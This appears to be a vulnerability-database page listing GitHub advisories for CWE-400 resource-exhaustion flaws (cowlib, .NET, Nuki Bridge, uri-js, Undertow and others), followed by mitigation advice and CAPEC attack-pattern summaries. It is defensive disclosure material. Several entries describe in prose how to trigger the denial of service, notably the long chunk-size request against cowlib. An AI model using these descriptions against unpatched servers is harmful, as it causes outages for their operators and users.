cowlib cow_http_te module: Uncontrolled Resource Consumption vulnerability allows Excessive Allocation
Details

Uncontrolled Resource Consumption vulnerability in ninenines cowlib (cow_http_te module) allows Excessive Allocation.

The chunked transfer-encoding parser in cow_http_te accepts an unbounded number of hex digits in the chunk-size field. Each digit causes a bignum multiplication (Len * 16 + digit), so parsing N hex digits requires O(N²) CPU work and O(N) memory. Additionally, when input is drip-fed, the parser discards the accumulated length on each partial read and restarts from zero on resumption, raising the cost to O(N³). An unauthenticated remote attacker can exploit this by sending an HTTP/1.1 request with Transfer-Encoding: chunked and a very long chunk-size hex string to cause denial of service through CPU exhaustion and memory amplification.

This vulnerability is associated with program file src/cow_http_te.erl and program routines cow_http_te:stream_chunked/2, cow_http_te:chunked_len/4.

This issue affects cowlib: from 0.6.0 before 2.16.1.

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "cowlib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.6.0"
            },
            {
              "fixed": "2.16.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-7790"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T16:49:21Z",
    "nvd_published_at": "2026-05-11T19:16:29Z",
    "severity": "HIGH"
  },
  "details": "Uncontrolled Resource Consumption vulnerability in ninenines cowlib (cow_http_te module) allows Excessive Allocation.\n\nThe chunked transfer-encoding parser in cow_http_te accepts an unbounded number of hex digits in the chunk-size field. Each digit causes a bignum multiplication (Len * 16 + digit), so parsing N hex digits requires O(N\u00b2) CPU work and O(N) memory. Additionally, when input is drip-fed, the parser discards the accumulated length on each partial read and restarts from zero on resumption, raising the cost to O(N\u00b3). An unauthenticated remote attacker can exploit this by sending an HTTP/1.1 request with Transfer-Encoding: chunked and a very long chunk-size hex string to cause denial of service through CPU exhaustion and memory amplification.\n\nThis vulnerability is associated with program file src/cow_http_te.erl and program routines cow_http_te:stream_chunked/2, cow_http_te:chunked_len/4.\n\nThis issue affects cowlib: from 0.6.0 before 2.16.1.",
  "id": "GHSA-32p9-57cr-4x65",
  "modified": "2026-05-18T16:49:21Z",
  "published": "2026-05-11T21:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7790"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ninenines/cowlib/commit/a4b8039ce8c93ab00867ef6b7e888822c09f4369"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-7790.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ninenines/cowlib"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ninenines/cowlib/releases/tag/2.16.1"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-7790"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": " cowlib cow_http_te module: Uncontrolled Resource Consumption vulnerability allows Excessive Allocation"
}

GHSA-32Q7-GV7F-4CG5

Vulnerability from github – Published: 2024-02-13 18:38 – Updated: 2024-04-15 19:42
VLAI
Summary
Duplicate Advisory: Microsoft Security Advisory CVE-2024-21386: .NET Denial of Service Vulnerability
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-g74q-5xw3-j7q9. This link is maintained to preserve external references.

Original Description

.NET Denial of Service Vulnerability

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.0.26"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.linux-arm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.0.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-13T19:49:31Z",
    "nvd_published_at": "2024-02-13T18:15:56Z",
    "severity": "HIGH"
  },
  "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-g74q-5xw3-j7q9. This link is maintained to preserve external references.\n\n## Original Description\n.NET Denial of Service Vulnerability",
  "id": "GHSA-32q7-gv7f-4cg5",
  "modified": "2024-04-15T19:42:12Z",
  "published": "2024-02-13T18:38:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21386"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21386"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Duplicate Advisory: Microsoft Security Advisory CVE-2024-21386: .NET Denial of Service Vulnerability",
  "withdrawn": "2024-02-13T19:49:31Z"
}

GHSA-32R2-XFQH-9QX6

Vulnerability from github – Published: 2024-05-14 18:30 – Updated: 2024-07-03 18:40
VLAI
Details

An issue was discovered on certain Nuki Home Solutions devices. By sending a malformed HTTP verb, it is possible to force a reboot of the device. This affects Nuki Bridge v1 before 1.22.0 and v2 before 2.13.2.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-32508"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-14T10:43:41Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered on certain Nuki Home Solutions devices. By sending a malformed HTTP verb, it is possible to force a reboot of the device. This affects Nuki Bridge v1 before 1.22.0 and v2 before 2.13.2.",
  "id": "GHSA-32r2-xfqh-9qx6",
  "modified": "2024-07-03T18:40:07Z",
  "published": "2024-05-14T18:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32508"
    },
    {
      "type": "WEB",
      "url": "https://latesthackingnews.com/2022/07/28/multiple-security-flaws-found-in-nuki-smart-locks"
    },
    {
      "type": "WEB",
      "url": "https://nuki.io/en/security-updates"
    },
    {
      "type": "WEB",
      "url": "https://research.nccgroup.com/2022/07/25/technical-advisory-multiple-vulnerabilities-in-nuki-smart-locks-cve-2022-32509-cve-2022-32504-cve-2022-32502-cve-2022-32507-cve-2022-32503-cve-2022-32510-cve-2022-32506-cve-2022-32508-cve-2"
    },
    {
      "type": "WEB",
      "url": "https://www.hackread.com/nuki-smart-locks-vulnerabilities-plethora-attack-options"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-32WG-GC37-9JJJ

Vulnerability from github – Published: 2022-05-17 02:35 – Updated: 2025-04-20 03:39
VLAI
Details

The wav_open_read function in frontend/input.c in Freeware Advanced Audio Coder (FAAC) 1.28 allows remote attackers to cause a denial of service (large loop) via a crafted wav file.

Severity
5.5 (Medium)
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-9129"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-06-21T07:29:00Z",
    "severity": "MODERATE"
  },
  "details": "The wav_open_read function in frontend/input.c in Freeware Advanced Audio Coder (FAAC) 1.28 allows remote attackers to cause a denial of service (large loop) via a crafted wav file.",
  "id": "GHSA-32wg-gc37-9jjj",
  "modified": "2025-04-20T03:39:25Z",
  "published": "2022-05-17T02:35:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9129"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/42207"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-333W-RXJ3-F55R

Vulnerability from github – Published: 2018-07-24 20:00 – Updated: 2024-04-22 19:37
VLAI
Summary
Regular Expression Denial Of Service in uri-js
Details

Affected versions of uri-js is susceptible to a regular expression denial of service vulnerability when user input is sent to the .parse() method.

Recommendation

Update to v3.0.0 or later.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "uri-js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-16021"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T20:53:45Z",
    "nvd_published_at": "2018-06-04T19:29:01Z",
    "severity": "MODERATE"
  },
  "details": "Affected versions of `uri-js` is susceptible to a regular expression denial of service vulnerability when user input is sent to the `.parse()` method.\n\n\n\n## Recommendation\n\nUpdate to v3.0.0 or later.",
  "id": "GHSA-333w-rxj3-f55r",
  "modified": "2024-04-22T19:37:18Z",
  "published": "2018-07-24T20:00:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16021"
    },
    {
      "type": "WEB",
      "url": "https://github.com/garycourt/uri-js/issues/12"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-333w-rxj3-f55r"
    },
    {
      "type": "WEB",
      "url": "https://nodesecurity.io/advisories/100"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/100"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Regular Expression Denial Of Service in uri-js"
}

GHSA-3353-P834-C8G2

Vulnerability from github – Published: 2023-02-12 06:30 – Updated: 2023-02-21 18:30
VLAI
Details

In wlan driver, there is a possible missing params check. This could lead to local denial of service in wlan services.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-38674"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-12T04:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In wlan driver, there is a possible missing params check. This could lead to local denial of service in wlan services.",
  "id": "GHSA-3353-p834-c8g2",
  "modified": "2023-02-21T18:30:17Z",
  "published": "2023-02-12T06:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-38674"
    },
    {
      "type": "WEB",
      "url": "https://www.unisoc.com/en_us/secy/announcementDetail/1621031430231134210"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3386-9355-8XP9

Vulnerability from github – Published: 2022-05-24 17:46 – Updated: 2022-05-24 17:46
VLAI
Details

A ZTE product has a configuration error vulnerability. Because a certain port is open by default, an attacker can consume system processing resources by flushing a large number of packets to the port, and successfully exploiting this vulnerability could reduce system processing capabilities. This affects: ZXA10 C300M all versions up to V4.3P8.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-21728"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-04-09T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A ZTE product has a configuration error vulnerability. Because a certain port is open by default, an attacker can consume system processing resources by flushing a large number of packets to the port, and successfully exploiting this vulnerability could reduce system processing capabilities. This affects: ZXA10 C300M all versions up to V4.3P8.",
  "id": "GHSA-3386-9355-8xp9",
  "modified": "2022-05-24T17:46:58Z",
  "published": "2022-05-24T17:46:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21728"
    },
    {
      "type": "WEB",
      "url": "https://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1014784"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-339Q-62WM-C39W

Vulnerability from github – Published: 2022-07-15 21:32 – Updated: 2022-09-08 14:24
VLAI
Summary
Undertow vulnerable to Denial of Service (DoS) attacks
Details

Undertow client side invocation timeout raised when calling over HTTP2, this vulnerability can allow attacker to carry out denial of service (DoS) attacks in versions less than 2.2.15 Final.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.undertow:undertow-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-3859"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-214",
      "CWE-400",
      "CWE-668"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-07-15T21:32:13Z",
    "nvd_published_at": "2022-08-26T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Undertow client side invocation timeout raised when calling over HTTP2, this vulnerability can allow attacker to carry out denial of service (DoS) attacks in versions less than 2.2.15 Final.",
  "id": "GHSA-339q-62wm-c39w",
  "modified": "2022-09-08T14:24:12Z",
  "published": "2022-07-15T21:32:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3859"
    },
    {
      "type": "WEB",
      "url": "https://github.com/undertow-io/undertow/pull/1296"
    },
    {
      "type": "WEB",
      "url": "https://github.com/undertow-io/undertow/commit/db0f5be43f8e2a4b88fbedd2eb6d5a95a29ceaa8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/undertow-io/undertow/commit/e43f0ada3f4da6e8579e0020cec3cb1a81e487c2"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/cve-2021-3859"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2010378"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/undertow-io/undertow"
    },
    {
      "type": "WEB",
      "url": "https://issues.redhat.com/browse/UNDERTOW-1979"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20221201-0004"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Undertow vulnerable to Denial of Service (DoS) attacks"
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list